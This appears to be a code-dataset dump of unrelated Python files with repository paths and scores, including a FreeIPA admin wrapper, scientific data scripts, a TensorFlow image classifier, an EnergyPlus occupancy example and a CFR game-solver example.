return self.sess.run(self.logpx, {self.s_placeholder: s})
2.265625
2
noggin/security/ipa_admin.py
mohanboddu/noggin
0
12764261
import random from functools import wraps from .ipa import Client class IPAAdmin(object): __WRAPPED_METHODS = ("user_add", "user_show", "user_mod", "group_add_member") __WRAPPED_METHODS_TESTING = ( "user_del", "group_add", "group_del", "group_add_member_manager", "pwpolicy_add", "otptoken_add", "otptoken_del", "otptoken_find", ) def __init__(self, app): self.__username = app.config['FREEIPA_ADMIN_USER'] self.__password = app.config['FREEIPA_ADMIN_PASSWORD'] app.config['FREEIPA_ADMIN_USER'] = '***' app.config['FREEIPA_ADMIN_PASSWORD'] = '***' # nosec self.__app = app # Attempt to obtain an administrative IPA session def __maybe_ipa_admin_session(self): self.__client = Client( random.choice(self.__app.config['FREEIPA_SERVERS']), verify_ssl=self.__app.config['FREEIPA_CACERT'], ) self.__client.login(self.__username, self.__password) self.__client._request('ping') return self.__client def __wrap_method(self, method_name): @wraps(getattr(Client, method_name)) def wrapper(*args, **kwargs): ipa = self.__maybe_ipa_admin_session() ipa_method = getattr(ipa, method_name) res = ipa_method(*args, **kwargs) ipa.logout() return res return wrapper def __getattr__(self, name): wrapped_methods = list(self.__WRAPPED_METHODS) if self.__app.config['TESTING']: # pragma: no cover wrapped_methods.extend(self.__WRAPPED_METHODS_TESTING) if name in wrapped_methods: return self.__wrap_method(name) raise AttributeError(name)
2.3125
2
LEO_calc_coating_from_meas_scat_amp_and_write_to_db.py
annahs/atmos_research
2
12764262
<filename>LEO_calc_coating_from_meas_scat_amp_and_write_to_db.py import sys import os import datetime import pickle import numpy as np import matplotlib.pyplot as plt from pprint import pprint import sqlite3 import calendar from datetime import datetime #id INTEGER PRIMARY KEY AUTOINCREMENT, #sp2b_file TEXT, #file_index INT, #instr TEXT, #instr_locn TEXT, #particle_type TEXT, #particle_dia FLOAT, #unix_ts_utc FLOAT, #actual_scat_amp FLOAT, #actual_peak_pos INT, #FF_scat_amp FLOAT, #FF_peak_pos INT, #FF_gauss_width FLOAT, #zeroX_to_peak FLOAT, #LF_scat_amp FLOAT, #incand_amp FLOAT, #lag_time_fit_to_incand FLOAT, #LF_baseline_pct_diff FLOAT, #rBC_mass_fg FLOAT, #coat_thickness_nm FLOAT, #coat_thickness_from_actual_scat_amp FLOAT #UNIQUE (sp2b_file, file_index, instr) #connect to database conn = sqlite3.connect('C:/projects/dbs/SP2_data.db') c = conn.cursor() c2 = conn.cursor() instrument = 'UBCSP2' instrument_locn = 'WHI' type_particle = 'incand' start_date = '20110105' end_date = '20120601' lookup_file = 'C:/Users/<NAME>/Documents/Data/WHI long term record/coatings/lookup_tables/coating_lookup_table_WHI_2012_UBCSP2-nc(2p26,1p26).lupckl' rBC_density = 1.8 incand_sat = 3750 lookup = open(lookup_file, 'r') lookup_table = pickle.load(lookup) lookup.close() c.execute('''SELECT * FROM SP2_coating_analysis''') names = [description[0] for description in c.description] pprint(names) begin_data = calendar.timegm(datetime.strptime(start_date,'%Y%m%d').timetuple()) end_data = calendar.timegm(datetime.strptime(end_date,'%Y%m%d').timetuple()) def get_rBC_mass(incand_pk_ht, year): if year == 2012: rBC_mass = 0.003043*incand_pk_ht + 0.24826 #AD corrected linear calibration for UBCSP2 at WHI 2012 if year == 2010: rBC_mass = 0.01081*incand_pk_ht - 0.32619 #AD corrected linear calibration for ECSP2 at WHI 2010 return rBC_mass def get_coating_thickness(BC_VED,scat_amp,coating_lookup_table): #get the coating thicknesses from the lookup table which is a dictionary of dictionaries, the 1st keyed with BC core size and the second being coating thicknesses keyed with calc scat amps core_diameters = sorted(coating_lookup_table.keys()) prev_diameter = core_diameters[0] for core_diameter in core_diameters: if core_diameter > BC_VED: core_dia_to_use = prev_diameter break prev_diameter = core_diameter #now get the coating thickness for the scat_amp this is the coating thickness based on the raw scattering max scattering_amps = sorted(coating_lookup_table[core_dia_to_use].keys()) prev_amp = scattering_amps[0] for scattering_amp in scattering_amps: if scat_amp < scattering_amp: scat_amp_to_use = prev_amp break prev_amp = scattering_amp scat_coating_thickness = coating_lookup_table[core_dia_to_use].get(scat_amp_to_use, np.nan) # returns value for the key, or none return scat_coating_thickness LOG_EVERY_N = 10000 i = 0 for row in c.execute('''SELECT incand_amp, LF_scat_amp, unix_ts_utc, sp2b_file, file_index, instr FROM SP2_coating_analysis WHERE instr=? and instr_locn=? and particle_type=? and incand_amp<? and unix_ts_utc>=? and unix_ts_utc<?''', (instrument,instrument_locn,type_particle,incand_sat,begin_data,end_data)): incand_amp = row[0] LF_amp = row[1] event_time = datetime.utcfromtimestamp(row[2]) file = row[3] index = row[4] instrt = row[5] rBC_mass = get_rBC_mass(incand_amp, event_time.year) if rBC_mass >= 0.25: rBC_VED = (((rBC_mass/(10**15*rBC_density))*6/3.14159)**(1/3.0))*10**7 #VED in nm with 10^15fg/g and 10^7nm/cm coat_th = get_coating_thickness(rBC_VED,LF_amp,lookup_table) else: rBC_VED = None coat_th = None c2.execute('''UPDATE SP2_coating_analysis SET coat_thickness_from_actual_scat_amp=? WHERE sp2b_file=? and file_index=? and instr=?''', (coat_th, file,index,instrt)) i+=1 if (i % LOG_EVERY_N) == 0: print 'record: ', i conn.commit() conn.close()
2.15625
2
scripts/gaze/object_tracking.py
isi-vista/adam-visual-perception
1
12764263
""" Test Object Tracking This script receives a .tsv file as input which has already been labelled and runs the four selected objects tracking algorithm on all videos. The target object that is being gazed at by the person is presented in blue. Parameters ---------- tsv_path : str, optional Path to tsv file containing dataset information (default is "benchmarks/gaze.tsv") tracker_type : str, optional Tracking algorithm (default is "CSRT", possible values are ['BOOSTING', 'MIL', 'KCF','TLD', 'MEDIANFLOW', 'GOTURN', 'MOSSE', 'CSRT']) use_gpu : bool, optional Whether to use a gpu (default is False) write_video : bool, optional Whether to save the processed video via OpenCV (default is True) """ # External imports from sacred import Experiment from sacred.observers import FileStorageObserver from collections import namedtuple from adam_visual_perception import ObjectTracker import pandas as pd import numpy as np import sys import os ex = Experiment() @ex.config def my_config(): tsv_path = "benchmarks/gaze.tsv" tracker_type = "CSRT" use_gpu = False write_video = True @ex.automain def main(_config): args = namedtuple('GenericDict', _config.keys())(**_config) # Setting the random seed np.random.seed(args.seed) # Load tsv if not os.path.isfile(args.tsv_path): raise Exception("The path to tsv file cannot be found at {}.".format(args.tsv_path)) df = pd.read_csv(args.tsv_path, sep='\t') # Definea tracker ot = ObjectTracker( tracker_type=args.tracker_type, use_gpu=args.use_gpu, detect_objects=False, write_video=args.write_video, ) for index, row in df.iterrows(): if len(row) == 6: filename, o1, o2, o3, o4, label = row print("Started {}".format(filename)) objs = [o1, o2, o3, o4] bboxes = [] for bbox in objs: if bbox is np.nan: print("Skipping {}. No bounding boxes are provided".format(filename)) else: bbox = tuple(map(int, bbox.strip("()").split(', '))) bboxes.append(bbox) ot.get_four_bboxes(filename, bboxes, label, args.write_video) else: print("Error: Did you forget to run the object labeling script?") sys.exit() print("Done!")
2.703125
3
push_deployment.py
eyalatox/Tableau-dummy
0
12764264
import os def validate_helm_chart(helm_chart): os.system(f'helm lint {helm_chart}')
1.585938
2
plugins/pelican-plugins/pelicanfly/pelicanfly/tests/test_pelicanfly.py
dbgriffith01/blog_source
0
12764265
# -*- coding: utf-8 -*- import os from shutil import rmtree from tempfile import mkdtemp import unittest from pelican import Pelican from pelican.settings import read_settings from pelican.tests.support import mute from fontawesome_markdown import FontAwesomeExtension import pelicanfly CURRENT_DIR = os.path.dirname(os.path.abspath(__file__)) OUTPUT_PATH = os.path.abspath(os.path.join(CURRENT_DIR, 'output')) INPUT_PATH = os.path.join(CURRENT_DIR, "content") class TestPelicanfly(unittest.TestCase): def setUp(self): self.temp_path = mkdtemp(prefix='pelicanfly.') pelicanfly_path, _ = os.path.join(os.path.split(pelicanfly.__file__)) self.pelicanfly_static = os.path.join(pelicanfly_path, 'static') self.settings = read_settings(path=None, override={ 'PATH': INPUT_PATH, 'OUTPUT_PATH': self.temp_path, 'PLUGINS': [pelicanfly]}) self.pelican = Pelican(self.settings) mute(True)(self.pelican.run)() pass def tearDown(self): rmtree(self.temp_path) pass def test_add_markdown_plugin(self): added = any([isinstance(x,FontAwesomeExtension) for x in self.pelican.settings['MD_EXTENSIONS']]) self.assertTrue(added) def test_add_static_paths(self): theme = self.pelican.settings['THEME_STATIC_PATHS'] self.assertTrue(self.pelicanfly_static in theme) def test_markdown_plugin(self): sample_output = open(os.path.join(self.temp_path, 'pages', 'a-sample-page.html'), 'r') self.assertTrue('<i class="fa fa-bug"></i>' in sample_output.read()) def test_assets_exist(self): for static_dir in ['css', 'fonts']: static_path = os.path.join(self.pelicanfly_static, static_dir) for static_file in os.listdir(static_path): in_theme = os.path.join(self.temp_path, 'theme', static_dir, static_file) self.assertTrue(os.path.exists(in_theme))
2.15625
2
test.py
tetzng/the-beatles-member-classifier
0
12764266
<reponame>tetzng/the-beatles-member-classifier #!/usr/bin/env python # -*- coding: utf-8 -*- import sys import cv2 import random import numpy as np import tensorflow as tf NUM_CLASSES = 4 IMAGE_SIZE = 28 IMAGE_PIXELS = IMAGE_SIZE*IMAGE_SIZE*3 flags = tf.app.flags FLAGS = flags.FLAGS flags.DEFINE_string('train', './data/train/data.txt', 'File name of train data') flags.DEFINE_string('test', './data/test/data.txt', 'File name of train data') flags.DEFINE_string('train_dir', './data', 'Directory to put the training data.') flags.DEFINE_integer('max_steps', 100, 'Number of steps to run trainer.') flags.DEFINE_integer('batch_size', 10, 'Batch size Must divide evenly into the dataset sizes.') flags.DEFINE_float('learning_rate', 1e-4, 'Initial learning rate.') def inference(images_placeholder, keep_prob): def weight_variable(shape): initial = tf.truncated_normal(shape, stddev=0.1) return tf.Variable(initial) def bias_variable(shape): initial = tf.constant(0.1, shape=shape) return tf.Variable(initial) def conv2d(x, W): return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME') def max_pool_2x2(x): return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') x_image = tf.reshape(images_placeholder, [-1, IMAGE_SIZE, IMAGE_SIZE, 3]) with tf.name_scope('conv1') as scope: W_conv1 = weight_variable([5, 5, 3, 32]) b_conv1 = bias_variable([32]) h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1) with tf.name_scope('pool1') as scope: h_pool1 = max_pool_2x2(h_conv1) with tf.name_scope('conv2') as scope: W_conv2 = weight_variable([5, 5, 32, 64]) b_conv2 = bias_variable([64]) h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2) with tf.name_scope('pool2') as scope: h_pool2 = max_pool_2x2(h_conv2) with tf.name_scope('fc1') as scope: W_fc1 = weight_variable([7*7*64, 1024]) b_fc1 = bias_variable([1024]) h_pool2_flat = tf.reshape(h_pool2, [-1, 7*7*64]) h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1) h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob) with tf.name_scope('fc2') as scope: W_fc2 = weight_variable([1024, NUM_CLASSES]) b_fc2 = bias_variable([NUM_CLASSES]) with tf.name_scope('softmax') as scope: y_conv=tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2) return y_conv def loss(logits, labels): cross_entropy = -tf.reduce_sum(labels*tf.log(logits)) tf.summary.scalar("cross_entropy", cross_entropy) return cross_entropy def training(loss, learning_rate): train_step = tf.train.AdamOptimizer(learning_rate).minimize(loss) return train_step def accuracy(logits, labels): correct_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(labels, 1)) accuracy = tf.reduce_mean(tf.cast(correct_prediction, "float")) tf.summary.scalar("accuracy", accuracy) return accuracy if __name__ == '__main__': f = open(FLAGS.train, 'r') train_image = [] train_label = [] for line in f: line = line.rstrip() l = line.split() img = cv2.imread(l[0]) img = cv2.resize(img, (28, 28)) train_image.append(img.flatten().astype(np.float32)/255.0) train_image = np.asarray(train_image) train_image.shape
2.625
3
cax/tasks/process_hax.py
XENON1T/cax
2
12764267
<filename>cax/tasks/process_hax.py """Process raw data into processed data Performs batch queue operations to run pax. """ import sys import os import pax import hax from cax import qsub, config from cax.task import Task def init_hax(in_location, pax_version, out_location): hax.init(experiment='XENON1T', pax_version_policy=pax_version.replace("v", ""), main_data_paths=[in_location], minitree_paths=[out_location]) def verify(): """Verify the file Now is nothing. Could check number of events later? """ return True def _process_hax(name, in_location, host, pax_version, out_location, detector='tpc'): """Called by another command. """ print('Welcome to cax-process-hax') os.makedirs(out_location, exist_ok=True) init_hax(in_location, pax_version, out_location) # may initialize once only print('creating hax minitrees for run', name, pax_version, in_location, out_location) TREEMAKERS = ['Corrections', 'Basics', 'Fundamentals', 'PositionReconstruction', 'CorrectedDoubleS1Scatter', 'LargestPeakProperties', 'IsolatedPeaks', 'TotalProperties', 'Extended', 'Proximity', 'LoneSignalsPreS1', 'LoneSignals', 'FlashIdentification', 'SingleElectrons'] for treemaker in TREEMAKERS: nRetries = 5 while nRetries > 0: try: print('Creating minitree', treemaker) hax.minitrees.load_single_dataset(name, treemaker) nRetries = 0 except Exception as exception: os.remove("%s/%s_%s.root" % (out_location, name, treemaker)) print("Deleting %s/%s_%s.root" % (out_location, name, treemaker)) nRetries -= 1 if nRetries == 0: raise class ProcessBatchQueueHax(Task): "Create and submit job submission script." def verify(self): """Verify processing worked""" return True # yeah... TODO. def each_run(self): thishost = config.get_hostname() hax_version = 'v%s' % hax.__version__ pax_version = 'v%s' % pax.__version__ have_processed, have_raw = self.local_data_finder(thishost, pax_version) # Skip if no processed data if not have_processed: self.log.debug("Skipping %s with no processed data", self.run_doc['name']) return in_location = os.path.dirname(have_processed['location']) out_location = config.get_minitrees_dir(thishost, pax_version) queue_list = qsub.get_queue(thishost) # Should check version here too if self.run_doc['name'] in queue_list: self.log.debug("Skipping %s currently in queue", self.run_doc['name']) return self.log.info("Processing %s (%s) with hax_%s, output to %s", self.run_doc['name'], pax_version, hax_version, out_location) _process_hax(self.run_doc['name'], in_location, thishost, pax_version, out_location, self.run_doc['detector']) def local_data_finder(self, thishost, pax_version): have_processed = False have_raw = False # Iterate over data locations to know status for datum in self.run_doc['data']: # Is host known? if 'host' not in datum: continue # If the location doesn't refer to here, skip if datum['host'] != thishost: continue # Check for raw data if datum['type'] == 'raw' and datum['status'] == 'transferred': have_raw = datum # Check if processed data already exists in DB if datum['type'] == 'processed' and datum['status'] == 'transferred': if pax_version == datum['pax_version']: have_processed = datum return have_processed, have_raw # Arguments from process function: (name, in_location, host, pax_version, # out_location, ncpus): def main(): _process_hax(*sys.argv[1:])
2.453125
2
src/setup.py
w0bos/onifw
6
12764268
#!/usr/bin/env python from distutils.core import setup setup( name="onifw", version="1.13", description="pentest framework", author="w0bos", author_email="<EMAIL>", packages=["packaging"] )
0.828125
1
helper/degree_ratio.py
raindroid/GoldMiner-Verilog
2
12764269
from math import * if __name__ == "__main__": print(""" //To access data (signX[degree/2] ? -1 : 1) * absX[degree / 2 * 10 + 9 : degree / 2 * 10] / 100 module trigonometry( input clock, enable, output [1799: 0] absX, absY, output [179:0] signX, signY ); wire [1799: 0] rx, ry; wire [180:0] rsx, rsy; assign absX = rx; assign absY = ry; assign signX = rsx; assign signY = rsy; always @(posedge clock) begin if (enable) begin //start init our big big table """) step = 2 deg = [t for t in range(0, 360, step)] x = [int(100 * cos(t / 180 * pi)) for t in range(358, -2, -step)] y = [int(100 * sin(t / 180 * pi)) for t in range(358, -2, -step)] for a in range(len(deg)): # print('\t\trdegree[%d:%d] \t= 10\'d%3d;' % (1799 - a * 9, 1790 - a * 9, deg[a]), sep = '') print('\t\trx[%d:%d]\t= 10\'d%3d;' % (1799 - a * 10, 1790 - a * 10, abs(x[a])), sep='') print('\t\try[%d:%d]\t= 10\'d%3d;' % (1799 - a * 10, 1790 - a * 10, abs(y[a])), sep='') print('\t\trsx[%d] \t= 1\'b%4d;' % (179 - a, 0 if (abs(x[a]+0.1)/(x[a]+0.1) == 1) else 1), sep='') print('\t\trsy[%d] \t= 1\'b%4d;' % (179 - a, 0 if (abs(y[a]+0.1)/(y[a]+0.1) == 1) else 1), sep='') print(""" end end endmodule """)
3.40625
3
cobs/examples/add_occupancy_example.py
odtoolkit/COBS
0
12764270
""" This is an example of how to add the occupancy into the model. """ from cobs import Model Model.set_energyplus_folder("D:\\Software\\EnergyPlus\\") mode = 1 model = Model(idf_file_name="../data/buildings/5ZoneAirCooled.idf", weather_file="../data/weathers/USA_IL_Chicago-OHare.Intl.AP.725300_TMY3.epw",) # Example of how to check the required fields for a new component print(model.get_sub_configuration("Output:Variable")) # -------------------------------------------------------------------------- # Sample of adding occupancy movement manually # -------------------------------------------------------------------------- if mode == 1: # Setup values for new components occu_schedule_values = {"Name": "Test_Schedule", "Schedule Type Limits Name": "Fraction", "Field 1": "Through: 12/31", "Field 2": "For: Alldays", "Field 3": "Until: 05:00", "Field 4": "0", "Field 5": "Until 09:00", "Field 6": "0.5", "Field 7": "Until 17:00", "Field 8": "0.95", "Field 9": "Until 24:00", "Field 10": "0.5"} activity_values = {"Name": "Test_Activity_Schedule", "Schedule Type Limits Name": "Any Number", "Field 1": "Through:12/31", "Field 2": "For: Alldays", "Field 3": "Until 24:00", "Field 4": "117"} work_efficiency = {"Name": "Test_Work_Schedule", "Schedule Type Limits Name": "Fraction", "Field 1": "Through:12/31", "Field 2": "For: Alldays", "Field 3": "Until 24:00", "Field 4": "0.1"} cloth_schedule = {"Name": "Test_Cloth_Schedule", "Schedule Type Limits Name": "Fraction", "Field 1": "Through:12/31", "Field 2": "For: Alldays", "Field 3": "Until 24:00", "Field 4": "0.9"} air_velocity = {"Name": "Test_Air_Velocity", "Schedule Type Limits Name": "Fraction", "Field 1": "Through:12/31", "Field 2": "For: Alldays", "Field 3": "Until 24:00", "Field 4": "0.25"} people_values = {"Name": "Test", "Zone or ZoneList Name": "SPACE1-1", "Number of People Schedule Name": "Test_Schedule", "Number of People": 5, "Activity Level Schedule Name": "Test_Activity_Schedule", "Work Efficiency Schedule Name": "Test_Work_Schedule", "Clothing Insulation Schedule Name": "Test_Cloth_Schedule", "Air Velocity Schedule Name": "Test_Air_Velocity", "Thermal Comfort Model 1 Type": "Fanger"} print(model.add_configuration("Schedule:Compact", values=occu_schedule_values)) print(model.add_configuration("Schedule:Compact", values=activity_values)) print(model.add_configuration("Schedule:Compact", values=work_efficiency)) print(model.add_configuration("Schedule:Compact", values=cloth_schedule)) print(model.add_configuration("Schedule:Compact", values=air_velocity)) print(model.add_configuration("People", values=people_values)) print(model.add_configuration("Output:Variable", values={"Variable Name": "Zone Thermal Comfort Fanger Model PMV", "Reporting_Frequency": "timestep"})) # -------------------------------------------------------------------------- # Sample of adding occupancy using OccupancyGenerator # -------------------------------------------------------------------------- elif mode == 2: from cobs import OccupancyGenerator as OG OG(model).generate_daily_schedule(add_to_model=True) # Example of check what is available for the state value print(model.get_current_state_values()) if __name__ == '__main__': state = model.reset() while not model.is_terminate(): print(state) state = model.step(list()) print("Done")
2.46875
2
normalizer.py
stackdumper/wot-vehicles-classifier
0
12764271
<reponame>stackdumper/wot-vehicles-classifier # normalize data 0-1 def normalize(data): normalized = [] for i in range(len(data[0])): col_min = min([item[i] for item in data]) col_max = max([item[i] for item in data]) for q, item in enumerate([item[i] for item in data]): if len(normalized) > q: normalized[q].append((item - col_min) / (col_max - col_min)) else: normalized.append([]) normalized[q].append((item - col_min) / (col_max - col_min)) return normalized
2.828125
3
open_spiel/python/examples/cfr_ma_autobattler_meta.py
opcheese/open_spiel
0
12764272
<gh_stars>0 # Copyright 2019 DeepMind Technologies Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Example use of the CFR algorithm on Kuhn Poker.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from absl import app from absl import flags from open_spiel.python.algorithms import cfr_ma from open_spiel.python.algorithms import exploitability import pyspiel import open_spiel.python.games.ma_autobattler_meta import numpy as np import pickle import random FLAGS = flags.FLAGS flags.DEFINE_integer("iterations",20, "Number of iterations") flags.DEFINE_string("game", "kuhn_poker", "Name of the game") flags.DEFINE_integer("players", 3, "Number of players") flags.DEFINE_integer("print_freq", 10, "How often to print the exploitability") import logging # create logger logger = logging.getLogger("somelogger") # set log level for all handlers to debug logger.setLevel(logging.ERROR) # create console handler and set level to debug # best for development or debugging consoleHandler = logging.StreamHandler() consoleHandler.setLevel(logging.DEBUG) # create formatter formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') # add formatter to ch consoleHandler.setFormatter(formatter) # add ch to logger #logger.addHandler(consoleHandler) def main(_): game = open_spiel.python.games.ma_autobattler_meta.MaAutobattlerGameMeta() for pen_ind in range(1): penalty = 0.9 cfr_solver = cfr_ma.CFRPlusSolver(game, strategy_player=2,penalty=penalty) for i in range(FLAGS.iterations): print(i) cfr_solver.evaluate_and_update_policy() if i % FLAGS.print_freq == 0: conv = exploitability.nash_conv(game, cfr_solver.average_policy(), has_strategy = True) print("Iteration {} exploitability {}".format(i, conv)) a = cfr_solver.average_policy() with open('autobattler_plus_{}.pkl'.format(penalty), 'wb') as fp: pickle.dump(a, fp) with open('autobattler_solver_plus_{}.pkl'.format(penalty), 'wb') as fp: pickle.dump(cfr_solver, fp) a1 = 0 a2 = 0 for i in range(10): state = game.new_initial_state() while not state.is_terminal(): if state.current_player() == pyspiel.PlayerId.CHANCE: act = state.chance_outcomes() actions = list(map(lambda x:x[0],act)) action = random.choice(actions) print(state._action_to_string(state.current_player(),action)) state._apply_action(action) else : info_state_str = state.information_state_string(state.current_player()) state_policy = a.policy_for_key(info_state_str) p = np.argmax(state_policy) print(state._action_to_string(state.current_player(),p)) print(state) if state.current_player() == 1: # a1 = int(input()) # state._apply_action(a1) state._apply_action(p) else: state._apply_action(p) print(state) a1+= state.game_res[0] a2+= state.game_res[1] print(a1,a2) if __name__ == "__main__": app.run(main)
1.976563
2
utils/parse_rose_total.py
JMB-McFarlane/SLICE
0
12764273
import subprocess import os import random import math scores = [] frame = [] workingdir = str(os.getcwd()) for file in os.listdir(workingdir): mod = -1 if os.path.isdir(file) == True: subdir = workingdir +'/'+ file + "/PROD/" print subdir os.popen("cd " + subdir) subprocess.call("python " + subdir + "grabber.py",shell=True) os.popen("cd " + workingdir) print("python " + subdir + "grabber.py") for file in os.listdir(subdir): if ".out" in file: submod = -1 # print file inp = open(subdir + file,"r") for line in inp: if "VINA RESULT" in line: scores.append([line.split()[3],subdir + 'pose'+str(submod)+'_'+file.split('.')[0]]) if "MODEL" in line: mod = mod + 1 submod = submod + 1 scores.sort(key=lambda x: float(x[0])) #cat = open("pdb_cat.pdbqt",'w') n = 1 list_file = open("scores.dat",'w') for items in scores: # print items[1] list_file.write(items[0] +' '+ items[1]+'\n') # cat.write("MODEL " + str(n) + '\n') # inp = open(items[1],'r') # for line in inp: # cat.write(line) # cat.write('ENDMDL' +'\n') n = n + 1 list_file.close() def script_writer(): selected_files = open("selected.txt",'wr') skim = 5 entry =1 script = open("leap_script.scr","wr") script.write('source build.scr \n\n') scores = [] lines = [] for line in open("scores.dat",'r'): scores.append(float(line.split()[0])) lines.append(line) if entry <= skim: selected_files.write(line + "\n") entry = entry + 1 minE = min(scores) maxE = max(scores) beta = math.log(0.01)/(minE-maxE) px_fill = [] for i in range(len(scores)): px = (math.exp(beta*(minE - float(scores[i])))) px_fill.append(px) i=0 while i <= 4: random_pick = random.randint(0,len(scores)) if px_fill[random_pick] >= random.uniform(0,1): i = i+1 selected_files.write(lines[random_pick] + "\n") selected_files.close() selected = open("selected.txt",'r') entry = 1 for line in selected: if "pose" in line: filesource = line.split()[1] filename = "pose" + str(entry) print(filename + " " + filesource) script.write(filename + ' = loadpdb ' + filesource + '\n') script.write('addions ' + filename + ' Na+ 0' +'\n') script.write('addions ' + filename + ' Cl- 0' +'\n') script.write('solvatebox ' + filename + ' TIP3PBOX 14' +'\n') script.write('saveamberparm ' + filename + ' ' + filename + '.top ' + filename +'.crd \n\n' ) entry = entry + 1 script_writer()
2.4375
2
2_conditional_experiments/03_baseline_with_labels/fid_graph.py
Florian-Barthel/stylegan2
0
12764274
<gh_stars>0 from graphs.fid_graph import plot_multiple_runs plot_multiple_runs( run_paths=[ './../results/00184-stylegan2-car_images_512-2gpu-baseline_without_labels', './../results/00121-stylegan2-cars_v5_512-2gpu-baseline' ], descriptions=[ 'Baseline without Labels', 'Baseline with Labels' ], xlabel='Million Images seen by the Discriminator', ylabel='Fréchet Inception Distance', title='Baseline with and without Labels', filename='baseline_with_and_without_labels.png', y_min=0, y_max=20, yticks=2, x_min=0, x_max=9)
1.835938
2
transmission_tui/tms_app.py
ironsigma/transmission-tui
0
12764275
<filename>transmission_tui/tms_app.py<gh_stars>0 """The Transmission text based user interface application module.""" import curses import logging import time from .daemon import TransmissionDaemon from .logging_config import config_logging from .transfer_list import TransferList class TransmissionApp(): """The main thread listening to user input.""" def __init__(self): """Initialize the app.""" config_logging() logging.debug("Starting Transmission TUI...") self._transmission = None self._stdscr = None def start(self): """Start the transmission daemon monitoring thread.""" self._transmission = TransmissionDaemon() if not self._transmission.start(): return curses.wrapper(self.start_ui) def start_ui(self, stdscr): """Start the user input thread.""" self._stdscr = stdscr self._init_curses() transfer_list = TransferList(stdscr) self._transmission.add_listener(transfer_list) self._transmission.add_listener(self) logging.debug('Listening for user input') while True: char = stdscr.getch() if char == ord('q'): logging.debug('Requested quit') self._transmission.stop() break elif char == ord('k'): logging.debug('Selection up') elif char == ord('j'): logging.debug('Selection down') time.sleep(.25) def _init_curses(self): curses.init_pair(1, curses.COLOR_WHITE, curses.COLOR_BLUE) curses.init_pair(2, curses.COLOR_BLUE, curses.COLOR_WHITE) curses.curs_set(0) self._stdscr.clear() self._stdscr.refresh() if __name__ == '__main__': TransmissionApp().start()
2.453125
2
hiku/expr/refs.py
brabadu/hiku
58
12764276
from ..query import Node, Link, Field, merge from ..types import GenericMeta, RecordMeta, SequenceMeta, MappingMeta from ..types import OptionalMeta, get_type from .nodes import NodeVisitor # TODO: revisit this _CONTAINER_TYPES = ( OptionalMeta, SequenceMeta, MappingMeta, RecordMeta, ) class Ref: def __init__(self, backref, to): self.backref = backref self.to = to def __repr__(self): return '{!r} > {!r}'.format(self.to, self.backref) def __eq__(self, other): return (self.__class__ is other.__class__ and self.__dict__ == other.__dict__) def __ne__(self, other): return not self.__eq__(other) class NamedRef(Ref): def __init__(self, backref, name, to): super(NamedRef, self).__init__(backref, to) self.name = name def __repr__(self): return '{}:{!r} > {!r}'.format(self.name, self.to, self.backref) def ref_to_req(types, ref, add_req=None): if ref is None: assert add_req is not None return add_req ref_type = get_type(types, ref.to) if isinstance(ref_type, OptionalMeta): ref_type = get_type(types, ref_type.__type__) if isinstance(ref_type, RecordMeta): if isinstance(ref, NamedRef): node = Node([]) if add_req is None else add_req return ref_to_req(types, ref.backref, Node([Link(ref.name, node)])) else: return ref_to_req(types, ref.backref, add_req) elif isinstance(ref_type, SequenceMeta): item_type = get_type(types, ref_type.__item_type__) if isinstance(item_type, RecordMeta): assert isinstance(ref, NamedRef), type(ref) node = Node([]) if add_req is None else add_req return ref_to_req(types, ref.backref, Node([Link(ref.name, node)])) else: assert not isinstance(item_type, _CONTAINER_TYPES), ref_type assert isinstance(ref, NamedRef), type(ref) assert add_req is None, repr(add_req) return ref_to_req(types, ref.backref, Node([Field(ref.name)])) elif isinstance(ref_type, GenericMeta): assert not isinstance(ref_type, _CONTAINER_TYPES), ref_type assert add_req is None, repr(add_req) if isinstance(ref, NamedRef): return ref_to_req(types, ref.backref, Node([Field(ref.name)])) else: return ref_to_req(types, ref.backref) else: raise TypeError('Is not one of hiku.types: {!r}'.format(ref_type)) def type_to_query(type_): if isinstance(type_, RecordMeta): assert isinstance(type_, RecordMeta), type(type_) fields = [] for f_name, f_type in type_.__field_types__.items(): f_query = type_to_query(f_type) if f_query is not None: fields.append(Link(f_name, f_query)) else: fields.append(Field(f_name)) return Node(fields) elif isinstance(type_, SequenceMeta): return type_to_query(type_.__item_type__) elif isinstance(type_, OptionalMeta): return type_to_query(type_.__type__) else: return None class RequirementsExtractor(NodeVisitor): def __init__(self, types): self._types = types self._reqs = [] @classmethod def extract(cls, types, expr): extractor = cls(types) extractor.visit(expr) return merge(extractor._reqs) def visit(self, node): ref = getattr(node, '__ref__', None) if ref is not None: req = ref_to_req(self._types, ref) if req is not None: self._reqs.append(req) super(RequirementsExtractor, self).visit(node) def visit_tuple(self, node): sym, args = node.values[0], node.values[1:] sym_ref = getattr(sym, '__ref__', None) if sym_ref is not None: for arg, arg_type in zip(args, sym_ref.to.__arg_types__): arg_query = type_to_query(arg_type) if arg_query is not None: self._reqs.append(ref_to_req(self._types, arg.__ref__, arg_query)) else: self.visit(arg) else: for arg in args: self.visit(arg)
2.25
2
pype/hosts/hiero/__init__.py
Yowza-Animation/pype
0
12764277
